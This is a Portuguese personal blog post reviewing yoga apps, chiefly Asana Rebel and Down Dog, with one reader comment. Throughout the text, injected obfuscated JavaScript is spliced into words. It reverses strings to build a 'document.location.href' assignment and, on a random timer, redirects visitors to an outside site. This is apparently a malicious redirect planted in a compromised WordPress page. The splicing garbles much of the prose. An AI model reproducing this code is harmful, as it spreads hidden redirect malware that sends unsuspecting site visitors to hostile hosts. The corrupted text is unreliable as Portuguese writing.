Com uma avó que praticou yoga ao longo de 30 anos, sempre tive imensa curiosidade de experimentar esta prática, sobretudo quando fosse mais cota, porque via bem os efeitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos que tinha na minha avó, que ainda hoje, com mais de 90 anos, colhe os frutobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos desta autêntica filosofia de vida que já não pratica há mais de 10 anos.

Descobri o yoga prático e imediatamente disponível através da Nike Training, uma app que tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}todas devíamos ter no telemóvel. Tem tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}todas as práticas de homegym que se possa imaginar, imensos treinos em tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}todos os níveis e tempos, faz planos de treino, incentiva à prática, está ligado à app de corrida, tem um look fantástico, até o Cristiano Ronaldo lá anda e tudo de borla. Impecável. Mas tem um pouco de tudo e não muitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to de yoga, rapidamente me fartei.

Dos treinos de yoga na Nike T. passei pelo youtube, sobretudo pelo Yoga With Adriene, que tem mais de 400 vídeos de yoga disponíveis e a Adriene é uma querida. Recomendo muitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to este canal para quem quer um treino instantâneo sem pensar duas vezes. Mas basta pesquisar a palavra yoga e imediatamente aparecem milhares de vídeos, canais de treino, do inglês ao brasileiro, a escolha é infinita. O yoga está mesmo na ponta dos dedos.

No entantobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, a minha costelinha obsessiva queria algo mais estruturado, mais organizado, um sítio que me desse tudo o que procurava direitinho e ainda tivesse um calendário cromo que assinalasse os dias de prática. Procurava uma app específica, enfim…

Comecei a descarregar apps, tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}todas a pagar e acabei por apaixonar-me pela Asana Rebel, uma app de yoga mais ginasticado, com repetições e muitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to flow, muitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dinamismo. Acelerava sempre o batimentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to cardíaco, tinha treinos personalizados, tempos de prática muitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to simpáticos (não mais de 30 minutobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos com sugestão de alongar o treino), um look impecável. Foi ideal. Assinei por quase $60 por ano, fiquei super satisfeita.

Istobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to foi há um ano. Entretantobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, já estava um pouco cansada da música – é sempre a mesma, já mudavam… – e procurava yoga mais puro, sem ser ginasticado.

Voltei à busca da app perfeita, pedi a vossa ajuda. Muitas recomendaram a Adriene, outras app recomendadas foram: Keep Yoga, FitStar Yoga ou Down Dog. Descarreguei estas e outras, mas acabei por encontrar na Down Dog a app ideal para mim, neste momentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to.

$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-14-03-2019-20-48-03.jpg” alt=”” width=”900″ height=”1425″ />

A app é muitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to simples: escolhemos pormenorizadamente o que queremos fazer (ela guarda as opções de uma sessão para a seguinte e apenas mudamos o que queremos) e a app gera um treino diferente a cada sessão. Quando digo pormenorizadamente, é mesmo: tempo, grau de dificuldade, com ou sem aquecimentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to e alongamentobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, zona a trabalhar mais, ritmo, instruções, lingua, tudo! E sempre com música diferente e várias músicas por sessão. Para quem vinha da Asana Rebel, istobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to foi ouro sobre azul.

$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-10-03-2019-13-38-11.png” alt=”” width=”1024″ height=”576″ />

Tenho feitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to sessões de yoga completas, e no nível mais avançado, pelo que de vez em quando aparecem-me posições que para mim são impossíveis, um enorme desafio que adorava ultrapassar! É tudo o que procurava, yoga desafiante, sessões diferentes, comodamente personalizadas e armazenadas na app. O melhor de tudo, comprei a app numa oferta com 60% de descontobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, paguei cerca de 18,00€ por um ano! É dado.

Continuo a ir à versão grátis da Asana Rebel fazer sempre os 5 minutobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos diários que esta versão oferece, porque o único defeitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to da Down Dog é não ter o calendário cromo com os dias de treino assinaldos. E eu acabo por gostar do kick ginasticado do Asana Rebel, mesmo que sejam apenas 5 minutobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos, vale muitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to.

Por isso, este ano vamos estar assim de yoga, e são estas as minhas recomendações. Namaste 🙂

Facebook Comments

One thought on “AS MINHAS APP DE YOGA 2019”

  1. Obrigada pelas dicas preciosas! 🙏 Comecei a usar a app esta semana Down Dog e achei bastante interessante. Logo na primeira sessão personalizei com o pretendido e gostei imenso do resultado e dos músculos que voltei a sentir que os tinha e ainda trabalham. Em paralelo estou a testar outras. A Inês sugere mais alguma app ou site que tenha utilizado recentemente? Obrigada e Namaste 🙏✨

Deixe uma resposta

O seu endereço de email não será publicado.